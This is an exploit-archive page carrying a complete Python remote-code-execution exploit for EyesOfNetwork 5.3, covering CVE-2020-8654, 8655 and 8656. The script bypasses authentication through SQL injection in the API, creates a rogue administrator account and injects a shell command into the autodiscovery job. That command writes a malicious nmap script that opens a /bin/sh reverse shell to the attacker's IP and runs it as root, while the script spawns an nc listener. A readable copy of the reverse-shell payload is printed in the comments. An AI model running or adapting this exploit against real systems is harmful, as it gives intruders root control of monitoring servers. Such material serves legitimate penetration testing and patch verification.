Menu

Search for hundreds of thousands of exploits

"EyesOfNetwork 5.3 - Remote Code Execution"

Author

Exploit author

"Clément Billac"

Platform

Exploit platform

php

Release date

Exploit published date

2020-02-07

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# Exploit Title: EyesOfNetwork 5.3 - Remote Code Execution
# Date: 2020-02-01
# Exploit Author: Clément Billac
# Vendor Homepage: https://www.eyesofnetwork.com/
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3
# CVE : CVE-2020-8654, CVE-2020-8655, CVE-2020-8656

#!/bin/env python3
# coding: utf8
#
#
# CVE-2020-8654 - Discovery module to allows to run arbitrary OS commands
#                 We were able to run the 'id' command with the following payload in the target field : ';id #'.
#
# CVE-2020-8655 - LPE via nmap NSE script
#                 As the apache user is allowed to run nmap as root, we were able to execute arbitrary commands by providing a specially crafted NSE script.
#                 nmap version 6.40 is used and doesn't have the -c and -e options.
#
# CVE-2020-8656 - SQLi in API in getApiKey function on 'username' field
#                 PoC: /eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '
#                 Auth bypass: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet

# Python imports
import sys, requests, json, os, argparse, socket
from bs4 import BeautifulSoup

# Text colors
txt_yellow = "\033[01;33m"
txt_blue = "\033[01;34m"
txt_red = "\033[01;31m"
txt_green = "\033[01;32m"
txt_bold = "\033[01;01m"
txt_reset = "\033[00m"
txt_info = txt_blue + "[*] " + txt_reset
txt_success = txt_green + "[+] " + txt_reset
txt_warn = txt_yellow + "[!] " + txt_reset
txt_err = txt_red + "[x] " + txt_reset

# Banner
banner = (txt_bold + """
+-----------------------------------------------------------------------------+
| EyesOfNetwork 5.3 RCE (API v2.4.2)                                          |
| 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m                                   |
|                                                                             |
| Examples:                                                                   |
| eonrce.py -h                                                                |
| eonrce.py http(s)://EyesOfNetwork-URL                                       |
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128                |
| eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020         |
+-----------------------------------------------------------------------------+
""" + txt_reset)

# Arguments Parser
parser = argparse.ArgumentParser("eonrce", formatter_class=argparse.RawDescriptionHelpFormatter, usage=banner)
parser.add_argument("URL", metavar="URL", help="URL of the EyesOfNetwork server")
parser.add_argument("-ip", metavar="IP", help="Local IP to receive reverse shell", default=socket.gethostbyname(socket.gethostname()))
parser.add_argument("-port", metavar="Port", type=int, help="Local port to listen", default=443)
parser.add_argument("-user", metavar="Username", type=str, help="Name of the new user to create", default='h4ker')
parser.add_argument("-password", metavar="Password", type=str, help="Password of the new user", default='net_was_here')
args = parser.parse_args()

# HTTP Requests config
requests.packages.urllib3.disable_warnings()
baseurl = sys.argv[1].strip('/')
url = baseurl
useragent = 'Mozilla/5.0 (Windows NT 1.0; WOW64; rv:13.37) Gecko/20200104 Firefox/13.37'

# Admin user creation variables
new_user = args.user
new_pass = args.password

# Executed command
# The following payload performs both the LPE and the reverse shell in a single command.
# It creates a NSE script in /tmp/h4k wich execute /bin/sh with reverse shell and then perform the nmap scan on localhost with the created NSE script.
# Readable PoC: ;echo "local os = require \"os\" hostrule=function(host) os.execute(\"/bin/sh -i >& /dev/tcp/192.168.30.112/8081 0>&1\") end action=function() end" > /tmp/h4k;sudo /usr/bin/nmap localhost -p 1337 -script /tmp/h4k #
ip = args.ip
port = str(args.port)
cmd = '%3Becho+%22local+os+%3D+require+%5C%22os%5C%22+hostrule%3Dfunction%28host%29+os.execute%28%5C%22%2Fbin%2Fsh+-i+%3E%26+%2Fdev%2Ftcp%2F' + ip + '%2F' + port + '+0%3E%261%5C%22%29+end+action%3Dfunction%28%29+end%22+%3E+%2Ftmp%2Fh4k%3Bsudo+%2Fusr%2Fbin%2Fnmap+localhost+-p+1337+-script+%2Ftmp%2Fh4k+%23'

# Exploit banner
print (txt_bold,"""+-----------------------------------------------------------------------------+
| EyesOfNetwork 5.3 RCE (API v2.4.2)                                          |
| 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m                                  |
+-----------------------------------------------------------------------------+
""", txt_reset, sep = '')

# Check if it's a EyesOfNetwork login page.
r = requests.get(baseurl, verify=False, headers={'user-agent':useragent})
if r.status_code == 200 and r.text.find('<title>EyesOfNetwork</title>') != -1 and r.text.find('form action="login.php" method="POST">') != -1:
	print(txt_info, "EyesOfNetwork login page found", sep = '')
else:
	print(txt_err, 'EyesOfNetwork login page not found', sep = '')
	quit()

# Check for accessible EON API
url = baseurl + '/eonapi/getApiKey'
r = requests.get(url, verify=False, headers={'user-agent':useragent})
if r.status_code == 401 and 'api_version' in r.json().keys() and 'http_code' in r.json().keys():
	print(txt_info, 'EyesOfNetwork API page found. API version: ',txt_bold , r.json()['api_version'], txt_reset, sep = '')
else:
	print(txt_warn, 'EyesOfNetwork API page not found', sep = '')
	quit()

# SQL injection with authentication bypass
url = baseurl + '/eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet'
r = requests.get(url, verify=False, headers={'user-agent':useragent})
if r.status_code == 200 and 'EONAPI_KEY' in r.json().keys():
	print(txt_success, 'Admin user key obtained: ', txt_bold, r.json()['EONAPI_KEY'], txt_reset, sep = '')
else:
	print(txt_err, 'The host seems patched or unexploitable', sep = '')
	print(txt_warn, 'Did you specified http instead of https in the URL ?', sep = '')
	print(txt_warn, 'You can check manually the SQLi with the following payload: ', txt_bold, "/eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '", txt_reset, sep = '')
	quit()

# Adding new administrator
url = sys.argv[1].strip('/') + '/eonapi/createEonUser?username=admin&apiKey=' + r.json()['EONAPI_KEY']
r = requests.post(url, verify=False, headers={'user-agent':useragent}, json={"user_name":new_user,"user_group":"admins","user_password":new_pass})
if r.status_code == 200 and 'result' in r.json().keys():
	if r.json()['result']['code'] == 0 and 'SUCCESS' in  r.json()['result']['description']:
		id = r.json()['result']['description'].split('ID = ', 1)[1].split(']')[0]
		print(txt_success, 'New user ', txt_bold, new_user, txt_reset, ' successfully created. ID:', txt_bold,  id, txt_reset, sep = '')

	elif r.json()['result']['code'] == 1:
		if ' already exist.' in  r.json()['result']['description']:
			print(txt_warn, 'The user ', txt_bold, new_user, txt_reset, ' already exists', sep = '')
		else:
			print(txt_err, 'An error occured while querying the API. Unexpected description message: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
			quit()
	else:
		print(txt_err, 'An error occured while querying the API. Unepected result code. Description: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
		quit()
else:
	print(txt_err, 'An error occured while querying the API. Missing result value in JSON response or unexpected HTTP status response', sep = '')
	quit()

# Authentication with our new user
url = baseurl + '/login.php'
auth_data = 'login=' + new_user + '&mdp=' +new_pass
auth_req = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, data=auth_data)
if auth_req.status_code == 200 and 'Set-Cookie' in auth_req.headers:
	print(txt_success, 'Successfully authenticated', sep = '')
else:
	print(txt_err, 'Error while authenticating. We expect to receive Set-Cookie headers uppon successful authentication', sep = '')
	quit()

# Creating Discovery job
url = baseurl + '/lilac/autodiscovery.php'
job_command = 'request=autodiscover&job_name=Internal+discovery&job_description=Internal+EON+discovery+procedure.&nmap_binary=%2Fusr%2Fbin%2Fnmap&default_template=&target%5B2%5D=' + cmd
r = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, cookies=auth_req.cookies, data=job_command)
if r.status_code == 200 and r.text.find('Starting...') != -1:
	job_id = str(BeautifulSoup(r.content, "html.parser").find(id="completemsg")).split('?id=', 1)[1].split('&rev')[0]
	print(txt_success, 'Discovery job successfully created with ID: ', txt_bold, job_id, txt_reset, sep = '')
else:
	print(txt_err, 'Error while creating the discovery job', sep = '')
	quit()

# Launching listener
print(txt_info, 'Spawning netcat listener:', txt_bold)
nc_command = '/usr/bin/nc -lnvp' + port + ' -s ' + ip
os.system(nc_command)
print(txt_reset)

# Removing job
url = baseurl + '/lilac/autodiscovery.php?id=' + job_id + '&delete=1'
r = requests.get(url, verify=False, headers={'user-agent':useragent}, cookies=auth_req.cookies)
if r.status_code == 200 and r.text.find('Removed Job') != -1:
	print(txt_info, 'Job ', job_id, ' removed', sep = '')
else:
	print(txt_err, 'Error while removing the job', sep = '')
	quit()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-02-07 "EyesOfNetwork 5.3 - Remote Code Execution" webapps php "Clément Billac"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.